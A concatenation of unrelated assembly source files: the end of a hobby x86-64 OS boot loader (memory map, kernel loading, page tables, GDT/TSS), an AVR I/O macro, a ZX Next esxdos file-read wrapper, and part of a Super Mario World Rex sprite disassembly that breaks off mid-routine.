still be set. pushfd pop eax ; Restore the original flags from ecx. push ecx popfd ; Initialize the return flag (carry) to unsupported. clc ; If eax and ecx are equal, then flag 21 didn't remain set, and CPUID is ; not supported. xor eax, ecx jz .done ; CPUID is not supported .supported: ; CPUID is supported. stc .done: ; Restore registers. pop ecx pop eax ret ;============================================================================= ; ReadMemLayout ; ; Use the BIOS to read an array of memory regions. Each region is tagged as ; available or in use. ; ; After this procedure is complete, the memory layout will be stored as ; follows, starting at Mem.Table: ; ; <----- 64-bits -----> ; +----------------------+ ; | Zone count | ; +----------------------+ ; | Reserved | ; +----------------------+ ; | Zone #0 base address | ; +----------------------+ ; | Zone #0 size | ; +----------------------+ ; | Zone #0 type | ; +----------------------+ ; | Zone #1 base address | ; +----------------------+ ; | Zone #1 size | ; +----------------------+ ; | Zone #1 type | ; +----------------------+ ; | ... | ; +----------------------+ ; ; The table may be unsorted, and it could contain gaps. It's the ; responsibility of the kernel to clean up this data so that it's more usable. ; ; Killed registers: ; None ;============================================================================= ReadMemLayout: push eax push ebx push ecx push edx push esi push edi push es .init: ; Set the segment register for the location of the memory layout. mov ax, Mem.Table >> 4 mov es, ax xor esi, esi ; si = zone counter mov di, 0x10 ; di = target memory offset ; Initialize the ebx and edx registers for calls to the BIOS memory ; probe function. xor ebx, ebx ; ebx = BIOS call tracking data mov edx, 0x534d4150 ; edx = system map magic number 'SMAP' .readZone: ; Call the BIOS function. mov eax, 0xe820 ; eax = BIOS 15h function mov ecx, 24 ; ecx = Max size of target buffer int 0x15 ; Carry flag indicates error. jc .done ; If only 20 bytes were read (as is typical), pad up to 24 bytes. cmp ecx, 20 jne .nextZone ; Pad with zero. mov dword [es:di + 20], 0 .nextZone: ; Advance the zone counter and target pointer. inc si add di, 0x18 ; ebx will be zero when we're done. cmp ebx, 0 je .done ; Don't overflow the memory layout buffer. cmp si, (Mem.Table.Size - 0x10) / 0x18 jb .readZone .done: ; Store the zone count at the start of the layout. mov eax, esi xor di, di stosd xor eax, eax stosd stosd stosd ; Restore registers and flags. clc pop es pop edi pop esi pop edx pop ecx pop ebx pop eax ret ;============================================================================= ; FindKernel ; ; Scan the root directory of the cdrom for a file called "MONK.SYS". If found, ; return its start sector and file size. ; ; Return registers: ; EAX Kernel file size in bytes ; BX Start sector ; ; Return flags: ; CF Set on error ; ; Killed registers: ; None ;============================================================================= FindKernel: ; Save registers that would otherwise be killed. push cx push dx push si push di ; Obtain the drive number and root directory sector from global variables. ; These were set by the first-stage boot loader. mov dl, [Globals.DriveNumber] mov bx, [Globals.RootDirectorySector] .processSector: ; Load the current directory sector into the buffer. mov cx, 1 ; cx = 1 sector mov di, Mem.Sector.Buffer ; es:di = target buffer call ReadSectors jc .error .processDirEntry: ; Is the entry zero length? If so, we ran out of files in the ; directory. xor ax, ax mov al, [di + ISO.DirectoryEntry.RecordLength] cmp al, 0 je .error ; Is the entry a file (flags & 2 == 0)? test byte [di + ISO.DirectoryEntry.FileFlags], 0x02 jnz .nextDirEntry ; Is the file name the same length as "MONK.SYS;1"? cmp byte [di + ISO.DirectoryEntry.NameLength], \ Kernel.Filename.Length jne .nextDirEntry ; Is the file name "MONK.SYS;1"? push di mov cx, Kernel.Filename.Length mov si, Kernel.Filename add di, ISO.DirectoryEntry.Name cld rep cmpsb pop di je .kernelFound .nextDirEntry: ; Advance to the next directory entry. add di, ax cmp di, Mem.Sector.Buffer + Mem.Sector.Buffer.Size jb .processDirEntry .nextSector: ; Advance to the next directory sector. inc bx jmp .processSector .kernelFound: ; Return starting sector in bx. mov bx, [di + ISO.DirectoryEntry.LocationLBA] ; Return file size in eax. mov eax, [di + ISO.DirectoryEntry.Size] .success: ; Clear carry to indicate success. clc jmp .done .error: ; Set carry to indicate an error. stc .done: ; Restore registers. pop di pop si pop dx pop cx ret ;============================================================================= ; ReadSectors ; ; Read 1 or more 2048-byte sectors from the CDROM using int 13 function 42. ; ; Input registers: ; BX Starting sector LBA ; CX Number of sectors to read ; DL Drive number ; ES:DI Target buffer ; ; Return registers: ; AH Return code from int 13 (42h) BIOS call ; ; Flags: ; CF Set on error ; ; Killed registers: ; AX, SI ;============================================================================= ReadSectors: ; Fill the DAP buffer. mov word [BIOS.DAP.Buffer + BIOS.DAP.ReadSectors], cx mov word [BIOS.DAP.Buffer + BIOS.DAP.TargetBufferOffset], di mov word [BIOS.DAP.Buffer + BIOS.DAP.TargetBufferSegment], es mov word [BIOS.DAP.Buffer + BIOS.DAP.FirstSector], bx ; Load ds:si with the DAP buffer's address. lea si, [BIOS.DAP.Buffer] ; Call int13 BIOS function 42h (extended read sectors from drive). mov ax, 0x4200 int 0x13 ret ;============================================================================= ; LoadKernel ; ; Load the kernel into upper memory. ; ; There are two problems we need to solve: ; ; 1. In real mode, we have access to the BIOS but can only access the ; first megabyte of system memory. ; 2. In protected mode, we can access memory above the first megabyte but ; don't have access to the BIOS. ; ; Since we need the BIOS to read the kernel from the CDROM and we need to load ; it into upper memory, we'll have to switch back and forth between real mode ; and protected mode to do it. ; ; This code repeats the following steps until the kernel is fully copied into ; upper memory: ; ; 1. Use BIOS to read the next 64KiB of the kernel file into a lower ; memory buffer. ; 2. Switch to 32-bit protected mode. ; 3. Copy the 64KiB chunk from the lower memory buffer into the ; appropriate upper memory location. ; 4. Switch back to real mode. ; ; Input registers: ; EAX Size of the kernel file ; BX Start sector of the kernel file ; ; Return flags: ; CF Set on error ; ; Killed registers: ; None ;============================================================================= LoadKernel: ; Preserve registers. push es pusha ; Preserve the real mode stack pointer. mov [LoadKernel.StackPointer], sp ; Retrieve the cdrom disk number. mov dl, [Globals.DriveNumber] ; Save the kernel size. mov [Globals.KernelSize], eax ; Convert kernel size from bytes to sectors (after rounding up). add eax, Mem.Sector.Buffer.Size - 1 shr eax, 11 ; Store status in code memory, since it's hard to use the stack while ; switching between real and protected modes. mov [LoadKernel.CurrentSector], bx add ax, bx mov [LoadKernel.LastSector], ax .loadChunk: ; Set target buffer for the read. mov cx, Mem.Kernel.LoadBuffer >> 4 mov es, cx xor di, di ; Set the number of sectors to read (buffersize / 2048). mov cx, Mem.Kernel.LoadBuffer.Size >> 11 ; Calculate the number of remaining sectors. ; (ax = LastSector, bx = CurrentSector) sub ax, bx ; Are there fewer sectors to read than will fit in the buffer? cmp cx, ax jb .proceed ; Don't read more sectors than are left. mov cx, ax .proceed: ; Store the number of sectors being loaded, so we can access it in ; protected mode when we do the copy to upper memory. mov [LoadKernel.SectorsToCopy], cx ; Read a chunk of the kernel into the buffer. call ReadSectors jc .errorReal .prepareProtected32Mode: ; Disable interrupts until we're out of protected mode and back into ; real mode, since we're not setting up a new interrupt table. cli ; Enable protected mode. mov eax, cr0 or eax, (1 << 0) ; CR.PE mov cr0, eax ; Do a far jump to switch to 32-bit protected mode. jmp GDT32.Selector.Code32 : .switchToProtected32Mode bits 32 .switchToProtected32Mode: ; Initialize all data segment registers with the 32-bit protected mode ; data segment selector. mov ax, GDT32.Selector.Data32 mov ds, ax mov es, ax mov ss, ax ; Create a temporary stack used only while in protected mode. ; (probably not necessary since interrupts are disabled) mov esp, Mem.Stack32.Temp.Top .copyChunk: ; Set up a copy from lower memory to upper memory using the number of ; sectors. xor ecx, ecx xor esi, esi xor edi, edi mov bx, [LoadKernel.SectorsToCopy] mov cx, bx shl ecx, 11 ; multiply by sector size (2048) mov esi, Mem.Kernel.LoadBuffer mov edi, [LoadKernel.TargetPointer] ; Advance counters and pointers. add [LoadKernel.TargetPointer], ecx add [LoadKernel.CurrentSector], bx ; Copy the chunk. cld shr ecx, 2 ; divide by 4 since we're copying dwords. rep movsd .prepareProtected16Mode: ; Before we can switch back to real mode, we have to switch to ; 16-bit protected mode. jmp GDT32.Selector.Code16 : .switchToProtected16Mode bits 16 .switchToProtected16Mode: ; Initialize all data segment registers with the 16-bit protected mode ; data segment selector. mov ax, GDT32.Selector.Data16 mov ds, ax mov es, ax mov ss, ax .prepareRealMode: ; Disable protected mode. mov eax, cr0 and eax, ~(1 << 0) ; CR0.PE mov cr0, eax ; Do a far jump to switch back to real mode. jmp 0x0000 : .switchToRealMode .switchToRealMode: ; Restore real mode data segment registers. xor ax, ax mov ds, ax mov es, ax mov ss, ax ; Restore the real mode stack pointer. xor esp, esp mov sp, [LoadKernel.StackPointer] ; Enable interrupts again. sti .checkCompletion: ; Check if the copy is complete. mov ax, [LoadKernel.LastSector] mov bx, [LoadKernel.CurrentSector] cmp ax, bx je .success ; Proceed to the next chunk. jmp .loadChunk .errorReal: ; Set carry flag on error. stc jmp .done .success: ; Clear carry on success. clc .done: ; Wipe the sector load buffer. mov ax, Mem.Kernel.LoadBuffer >> 4 mov es, ax xor ax, ax xor di, di mov cx, Mem.Kernel.LoadBuffer.Size - 1 rep stosb inc cx stosb ; Clear upper word of 32-bit registers we used. xor eax, eax xor ecx, ecx xor esi, esi xor edi, edi ; Restore registers. popa pop es ret ;----------------------------------------------------------------------------- ; LoadKernel state variables ;----------------------------------------------------------------------------- align 4 LoadKernel.TargetPointer dd Mem.Kernel.Image LoadKernel.CurrentSector dw 0 LoadKernel.LastSector dw 0 LoadKernel.SectorsToCopy dw 0 LoadKernel.StackPointer dw 0 ;============================================================================= ; SetupPageTables ; ; Set up a page table for 64-bit mode. ; ; This procedure creates an identity-mapped page table for the first 10MiB of ; physical memory. ; ; Killed registers: ; None ;============================================================================= SetupPageTables: ; Constants for page table bits .Present equ 1 << 0 .ReadWrite equ 1 << 1 .WriteThru equ 1 << 3 .CacheDisable equ 1 << 4 .AttribTable equ 1 << 7 ; valid only on PT entries .LargePage equ 1 << 7 ; valid only on PDT entries .Guard equ 1 << 9 ; use a bit ignored by the CPU .StdBits equ .Present | .ReadWrite ; Preserve registers pusha push es ; Set segment to the root of the page table. mov ax, Mem.PageTable >> 4 mov es, ax .clearMemory: ; Clear all memory used to hold the page tables. cld xor eax, eax xor edi, edi mov ecx, (Mem.PageTable.End - Mem.PageTable) >> 2 rep stosd .makeTables: ; PML4T entry 0 points to the PDPT. mov di, Mem.PageTable.PML4T & 0xffff mov dword [es:di], Mem.PageTable.PDPT | .StdBits ; PDPT entry 0 points to the PDT. mov di, Mem.PageTable.PDPT & 0xffff mov dword [es:di], Mem.PageTable.PDT | .StdBits ; PDT entry 0 maps the first 2MiB using 4KiB pages. mov di, Mem.PageTable.PDT & 0xffff mov dword [es:di + 0x00], Mem.PageTable.PT | .StdBits ; PDT entries 1 through 5 map the next 8MiB using 2MiB pages. ; This memory holds the kernel image and its stack. mov dword [es:di + 0x08], 0x00200000 | .StdBits | .LargePage mov dword [es:di + 0x10], 0x00400000 | .StdBits | .LargePage mov dword [es:di + 0x18], 0x00600000 | .StdBits | .LargePage mov dword [es:di + 0x20], 0x00800000 | .StdBits | .LargePage ; Prepare to create 4K-page table entries for the first 2MiB. mov di, Mem.PageTable.PT & 0xffff mov eax, .StdBits mov cx, 512 ; 512 entries in first page covering 2MiB .makePage: ; Loop through each page table entry, incrementing the physical ; address by one page each time. mov [es:di], eax ; store physical address + .StdBits add eax, 0x1000 ; next physical address add di, 8 ; next page table entry loop .makePage .makeStackGuardPages: ; Create a 4KiB guard page just below the bottom of the kernel stack. ; This way, if the kernel overflows its stack, we'll get a page fault. ; (Note that this guard page resides within the first 2MiB of memory, ; which is necessary because we use 2MiB pages above 2MiB.) mov edi, Mem.Kernel.Stack.Bottom - 4096 call .makeGuard ; Create a guard page at the bottom of each interrupt stack. mov edi, Mem.Kernel.Stack.Interrupt.Bottom call .makeGuard mov edi, Mem.Kernel.Stack.NMI.Bottom call .makeGuard mov edi, Mem.Kernel.Stack.DF.Bottom call .makeGuard mov edi, Mem.Kernel.Stack.MC.Bottom call .makeGuard .markUncachedPages: ; Mark the 32 pages covering video and ROM memory (a0000..bffff) as ; uncacheable. mov edi, Mem.Video mov cx, 32 call .makeUncached .initPageRegister: ; CR3 is the page directory base register. mov edi, Mem.PageTable mov cr3, edi .done: ; Clear the upper bits of 32-bit registers we used. xor eax, eax xor ecx, ecx xor edi, edi ; Restore registers. pop es popa ret .makeGuard: ; Locate the page table entry for the physical address in edi. Clear ; its present bit, and set its guard bit. shr edi, 9 ; Divide by 4096, then mul by 8. add edi, Mem.PageTable.PT & 0xffff mov eax, [es:di] and eax, ~(.Present) ; clear the present bit. or eax, .Guard ; set the guard bit. mov [es:di], eax ret .makeUncached: ; Locate the page table entry for the physical address in edi. Set its ; cache-disable, write-through, and page-attribute-table bits. Repeat ; this process for a total of "cx" contiguous page entries. shr edi, 9 ; Divide by 4096, then mul by 8. add edi, Mem.PageTable.PT & 0xffff .makeUncached.next: mov eax, [es:di] or eax, .CacheDisable | .WriteThru | .AttribTable mov [es:di], eax add di, 8 loop .makeUncached.next ret ;============================================================================= ; DisplayStatusString ; ; Add an OS prefix and a CRLF suffix to a null-terminated string, then display ; it to the console using the BIOS. ; ; Input registers: ; SI String offset ; ; Killed registers: ; None ;============================================================================= DisplayStatusString: push si mov si, String.OS.Prefix call DisplayString pop si call DisplayString mov si, String.CRLF call DisplayString ret ;============================================================================= ; DisplayErrorString ; ; Add an OS+error prefix and a CRLF suffix to a null-terminated string, then ; display it to the console using the BIOS. ; ; Input registers: ; SI String offset ; ; Killed registers: ; None ;============================================================================= DisplayErrorString: push si mov si, String.OS.Prefix call DisplayString mov si, String.Error.Prefix call DisplayString pop si call DisplayString mov si, String.CRLF call DisplayString ret ;============================================================================= ; DisplayString ; ; Display a null-terminated string to the console using the BIOS int 10 ; function 0E. ; ; Input registers: ; SI String offset ; ; Killed registers: ; None ;============================================================================= DisplayString: push ax push bx mov ah, 0x0e ; int 10 AH=0x0e xor bx, bx ; page + color cld .loop: ; Read next string character into al register. lodsb ; Break when a null terminator is reached. cmp al, 0 je .done ; Call int 10 function 0eh (print character to teletype). int 0x10 jmp .loop .done: pop bx pop ax ret ;============================================================================= ; Global data ;============================================================================= ;----------------------------------------------------------------------------- ; Status and error strings ;----------------------------------------------------------------------------- String.CRLF db 0x0d, 0x0a, 0 String.OS.Prefix db "[Monk] ", 0 String.Status.A20Enabled db "A20 line enabled", 0 String.Status.CPU64Detected db "64-bit CPU detected", 0 String.Status.SSEEnabled db "SSE enabled", 0 String.Status.KernelFound db "Kernel found", 0 String.Status.KernelLoaded db "Kernel loaded", 0 String.Error.Prefix db "ERROR: ", 0 String.Error.A20 db "A20 line not enabled", 0 String.Error.NoCPUID db "CPUID not supported", 0 String.Error.No64BitMode db "CPU is not 64-bit", 0 String.Error.NoSSE db "No SSE support", 0 String.Error.NoSSE2 db "No SSE2 support", 0 String.Error.NoFXinst db "No FXSAVE/FXRSTOR", 0 String.Error.KernelNotFound db "Kernel not found", 0 String.Error.KernelLoadFailed db "Kernel load failed", 0 ;----------------------------------------------------------------------------- ; Filename strings ;----------------------------------------------------------------------------- Kernel.Filename db "MONK.SYS;1" Kernel.Filename.Length equ ($ - Kernel.Filename) ;----------------------------------------------------------------------------- ; DAP buffer used by ReadSectors ;----------------------------------------------------------------------------- align 4 BIOS.DAP.Buffer: istruc BIOS.DAP at BIOS.DAP.Bytes, db BIOS.DAP_size at BIOS.DAP.ReadSectors, dw 0 at BIOS.DAP.TargetBufferOffset, dw 0 at BIOS.DAP.TargetBufferSegment, dw 0 at BIOS.DAP.FirstSector, dq 0 iend ;----------------------------------------------------------------------------- ; Global Descriptor Table used (temporarily) in 32-bit protected mode ;----------------------------------------------------------------------------- align 4 GDT32.Table: ; Null descriptor istruc GDT.Descriptor at GDT.Descriptor.LimitLow, dw 0x0000 at GDT.Descriptor.BaseLow, dw 0x0000 at GDT.Descriptor.BaseMiddle, db 0x00 at GDT.Descriptor.Access, db 0x00 at GDT.Descriptor.LimitHighFlags, db 0x00 at GDT.Descriptor.BaseHigh, db 0x00 iend ; 32-bit protected mode - code segment descriptor (selector = 0x08) ; (Base=0, Limit=4GiB-1, RW=1, DC=0, EX=1, PR=1, Priv=0, SZ=1, GR=1) istruc GDT.Descriptor at GDT.Descriptor.LimitLow, dw 0xffff at GDT.Descriptor.BaseLow, dw 0x0000 at GDT.Descriptor.BaseMiddle, db 0x00 at GDT.Descriptor.Access, db 10011010b at GDT.Descriptor.LimitHighFlags, db 11001111b at GDT.Descriptor.BaseHigh, db 0x00 iend ; 32-bit protected mode - data segment descriptor (selector = 0x10) ; (Base=0, Limit=4GiB-1, RW=1, DC=0, EX=0, PR=1, Priv=0, SZ=1, GR=1) istruc GDT.Descriptor at GDT.Descriptor.LimitLow, dw 0xffff at GDT.Descriptor.BaseLow, dw 0x0000 at GDT.Descriptor.BaseMiddle, db 0x00 at GDT.Descriptor.Access, db 10010010b at GDT.Descriptor.LimitHighFlags, db 11001111b at GDT.Descriptor.BaseHigh, db 0x00 iend ; 16-bit protected mode - code segment descriptor (selector = 0x18) ; (Base=0, Limit=1MiB-1, RW=1, DC=0, EX=1, PR=1, Priv=0, SZ=0, GR=0) istruc GDT.Descriptor at GDT.Descriptor.LimitLow, dw 0xffff at GDT.Descriptor.BaseLow, dw 0x0000 at GDT.Descriptor.BaseMiddle, db 0x00 at GDT.Descriptor.Access, db 10011010b at GDT.Descriptor.LimitHighFlags, db 00000001b at GDT.Descriptor.BaseHigh, db 0x00 iend ; 16-bit protected mode - data segment descriptor (selector = 0x20) ; (Base=0, Limit=1MiB-1, RW=1, DC=0, EX=0, PR=1, Priv=0, SZ=0, GR=0) istruc GDT.Descriptor at GDT.Descriptor.LimitLow, dw 0xffff at GDT.Descriptor.BaseLow, dw 0x0000 at GDT.Descriptor.BaseMiddle, db 0x00 at GDT.Descriptor.Access, db 10010010b at GDT.Descriptor.LimitHighFlags, db 00000001b at GDT.Descriptor.BaseHigh, db 0x00 iend GDT32.Table.Size equ ($ - GDT32.Table) GDT32.Table.Pointer: dw GDT32.Table.Size - 1 ; Limit = offset of last byte in table dd GDT32.Table ;----------------------------------------------------------------------------- ; Global Descriptor Table used in 64-bit mode ;----------------------------------------------------------------------------- align 8 GDT64.Table: ; Null descriptor istruc GDT.Descriptor at GDT.Descriptor.LimitLow, dw 0x0000 at GDT.Descriptor.BaseLow, dw 0x0000 at GDT.Descriptor.BaseMiddle, db 0x00 at GDT.Descriptor.Access, db 0x00 at GDT.Descriptor.LimitHighFlags, db 0x00 at GDT.Descriptor.BaseHigh, db 0x00 iend ; kernel: data segment descriptor (selector = 0x08) istruc GDT.Descriptor at GDT.Descriptor.LimitLow, dw 0x0000 at GDT.Descriptor.BaseLow, dw 0x0000 at GDT.Descriptor.BaseMiddle, db 0x00 at GDT.Descriptor.Access, db 10010010b at GDT.Descriptor.LimitHighFlags, db 00000000b at GDT.Descriptor.BaseHigh, db 0x00 iend ; kernel: code segment descriptor (selector = 0x10) istruc GDT.Descriptor at GDT.Descriptor.LimitLow, dw 0x0000 at GDT.Descriptor.BaseLow, dw 0x0000 at GDT.Descriptor.BaseMiddle, db 0x00 at GDT.Descriptor.Access, db 10011010b at GDT.Descriptor.LimitHighFlags, db 00100000b at GDT.Descriptor.BaseHigh, db 0x00 iend ; user: data segment descriptor (selector = 0x18) istruc GDT.Descriptor at GDT.Descriptor.LimitLow, dw 0x0000 at GDT.Descriptor.BaseLow, dw 0x0000 at GDT.Descriptor.BaseMiddle, db 0x00 at GDT.Descriptor.Access, db 11110010b at GDT.Descriptor.LimitHighFlags, db 00000000b at GDT.Descriptor.BaseHigh, db 0x00 iend ; user: code segment descriptor (selector = 0x20) istruc GDT.Descriptor at GDT.Descriptor.LimitLow, dw 0x0000 at GDT.Descriptor.BaseLow, dw 0x0000 at GDT.Descriptor.BaseMiddle, db 0x00 at GDT.Descriptor.Access, db 11111010b at GDT.Descriptor.LimitHighFlags, db 00100000b at GDT.Descriptor.BaseHigh, db 0x00 iend ; 64-bit TSS descriptor (selector = 0x28) istruc TSS64.Descriptor at TSS64.Descriptor.LimitLow, dw TSS64_size - 1 at TSS64.Descriptor.BaseLow, dw Mem.TSS64 & 0xffff at TSS64.Descriptor.BaseMiddle, db (Mem.TSS64 >> 16) & 0xff at TSS64.Descriptor.Access, db 10001001b at TSS64.Descriptor.LimitHighFlags, db 00000000b at TSS64.Descriptor.BaseHigh, db (Mem.TSS64 >> 24) & 0xff at TSS64.Descriptor.BaseHighest, dd (Mem.TSS64 >> 32) at TSS64.Descriptor.Reserved, dd 0x00000000 iend GDT64.Table.Size equ ($ - GDT64.Table) ; GDT64 table pointer ; This pointer references Mem.GDT, not GDT64.Table, because that's where the ; 64-bit mode GDT will reside after we copy it. GDT64.Table.Pointer: dw GDT64.Table.Size - 1 ; Limit = offset of last byte in table dq Mem.GDT ; Address of table copy ;----------------------------------------------------------------------------- ; Task State Segment for 64-bit mode ;----------------------------------------------------------------------------- align 8 TSS64.Entry: ; Create a TSS that causes the CPU to use a special interrupt stack (RSP0) ; whenever an interrupt causes a privilege change from user mode to kernel ; mode. ; ; If a catastrophic exception occurs -- such as an NMI, double fault, or ; machine check -- use an exception-specific stack (IST1 .. IST3) that is ; guaranteed to be valid. ; ; See section 6.14.5 in volume 3 of the Intel 64 and IA-32 Architectures ; Software Developer’s Manual for more information. istruc TSS64 at TSS64.RSP0, dq Mem.Kernel.Stack.Interrupt.Top at TSS64.RSP1, dq 0 at TSS64.RSP2, dq 0 at TSS64.IST1, dq Mem.Kernel.Stack.NMI.Top at TSS64.IST2, dq Mem.Kernel.Stack.DF.Top at TSS64.IST3, dq Mem.Kernel.Stack.MC.Top at TSS64.IST4, dq 0 at TSS64.IST5, dq 0 at TSS64.IST6, dq 0 at TSS64.IST7, dq 0 at TSS64.IOPB, dw TSS64_size ; no IOPB iend TSS64.Entry.Size equ ($ - TSS64.Entry) ;============================================================================= ; Padding ;============================================================================= programEnd: ; Pad the boot record to 32 KiB times 0x8000 - ($ - $$) db 0
30.795955
78
0.488217
186ef85df1ebbce75cf022644d70a665a05c5fcd
543
asm
Assembly
src/engine/utilities/out-immediate.asm
jameswilddev/comb
ef75d7d54af1ad599a0d72cb08cc793fa3f0eec6
[ "MIT" ]
null
null
null
src/engine/utilities/out-immediate.asm
jameswilddev/comb
ef75d7d54af1ad599a0d72cb08cc793fa3f0eec6
[ "MIT" ]
null
null
null
src/engine/utilities/out-immediate.asm
jameswilddev/comb
ef75d7d54af1ad599a0d72cb08cc793fa3f0eec6
[ "MIT" ]
null
null
null
; Write a constant value to an IO port in 3 cycles. ; - The address to which to write. ; - A r* to clobber. ; - The value to write. .macro out_immediate ldi @1, @2 out @0, @1 .endm ; Write a two-byte constant value to an IO port in 6 cycles. ; - The address of the first address to which to write. ; - A r* to clobber. ; - The value to write. .macro out_immediate_16 ; This order is necessary as some registers seem to clear the low byte on setting the high. out_immediate (@0 + 1), @1, HIGH(@2) out_immediate @0, @1, LOW(@2) .ENDM
28.578947
93
0.679558
19c8741eebec963a2b821f653e7b7d13cfb08fcd
364
asm
Assembly
libsrc/_DEVELOPMENT/arch/zxn/esxdos/c/sccz80/esx_f_read_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/arch/zxn/esxdos/c/sccz80/esx_f_read_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/arch/zxn/esxdos/c/sccz80/esx_f_read_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; uint16_t esx_f_read(unsigned char handle, void *dst, size_t nbytes) SECTION code_esxdos PUBLIC esx_f_read_callee EXTERN asm_esx_f_read esx_f_read_callee: pop af pop bc pop hl pop de push af ld a,e jp asm_esx_f_read ; SDCC bridge for Classic IF __CLASSIC PUBLIC _esx_f_read_callee defc _esx_f_read_callee = esx_f_read_callee ENDIF
14
69
0.763736
30827670400ba7d6e29f9b9f3c700d0e89fe5f05
8,856
asm
Assembly
patches/hp_counter_patch/Sprites/Mad Rex/mad_rex.asm
RPGHacker/SMW-Workspace
dbbc37a650b71800c5113b28f115aa6ffc59fa7f
[ "MIT" ]
9
2017-11-03T17:37:24.000Z
2021-10-16T23:01:24.000Z
patches/hp_counter_patch/Sprites/Mad Rex/mad_rex.asm
RPGHacker/SMW-Workspace
dbbc37a650b71800c5113b28f115aa6ffc59fa7f
[ "MIT" ]
17
2017-11-03T17:37:16.000Z
2021-11-02T14:42:12.000Z
patches/hp_counter_patch/Sprites/Mad Rex/mad_rex.asm
RPGHacker/SMW-Workspace
dbbc37a650b71800c5113b28f115aa6ffc59fa7f
[ "MIT" ]
3
2018-01-14T21:49:55.000Z
2019-06-27T10:41:27.000Z
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ;; SMW Rex (sprite AB), by imamelia ;; ;; This is a disassembly of sprite AB in SMW, the Rex. ;; ;; Uses first extra bit: NO ;; ;; Modified by RPG Hacker to deal custom damage with HP counter patch. ;; Copy hpconfig.cfg next to this file when inserting it via PIXI. ;; You can set the damage to deal via the extra property bytes. ;; Byte 1 is the low byte and byte 2 the high byte. ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; incsrc "hpconfig.cfg" ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ;; defines and tables ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; XSpeed: db $10,$F0,$20,$E0 DeathSpeed: db $F0,$10 XDisp: db $FC,$00,$FC,$00,$FE,$00,$00,$00,$00,$00,$00,$08 db $04,$00,$04,$00,$02,$00,$00,$00,$00,$00,$08,$00 YDisp: db $F1,$00,$F0,$00,$F8,$00,$00,$00,$00,$00,$08,$08 Tilemap: db $8A,$AA,$8A,$AC,$8A,$AA,$8C,$8C,$A8,$A8,$A2,$B2 TileProp: db %01001001,%00001001 if read1($00FFD5) == $23 !FreeRAM = !FreeRAM_SA1 !HurtFlag = !HurtFlag_SA1 endif ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ;; init routine ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; print "INIT ",pc %SubHorzPos() TYA ; face the player initially STA $157C,x ; RTL ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ;; main routine wrapper ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; print "MAIN ",pc PHB PHK PLB JSR RexMain ; $039517 PLB RTL ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ;; main routine ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; RexMain: JSR RexGFX ; draw the Rex LDA $14C8,x ; check the sprite status CMP #$08 ; if the Rex is not in normal status... BNE Return00 ; LDA $9D ; or sprites are locked... BNE Return00 ; return LDA $1558,x ; if the Rex has been fully squished and its remains are still showing... BEQ Alive ; STA $15D0,x ; set the "eaten" flag DEC ; if this is the last frame to show the squished remains... BNE Return00 ; STZ $14C8,x ; erase the sprite Return00: ; RTS ; Alive: ; %SubOffScreen() INC $1570,x ; increment this sprite's frame counter (number of frames on the screen) LDA $1570,x ; LSR #2 ; frame counter / 4 LDY $C2,x ; if the sprite is half-squished... BEQ NoHSquish ; AND #$01 ; then it changes animation frame every 4 frames CLC ; ADC #$03 ; and uses frame indexes 3 and 4 BRA SetFrame ; NoHSquish: ; LSR ; if the sprite is not half-squished, AND #$01 ; it changes animation frame every 8 frames SetFrame: ; STA $1602,x ; set the frame number LDA $1588,x ; AND #$04 ; if the Rex is on the ground... BEQ InAir ; LDA #$10 ; give it some Y speed STA $AA,x ; LDY $157C,x ; sprite direction LDA $C2,x ; BEQ NoFastSpeed ; if the Rex is half-squished... INY #2 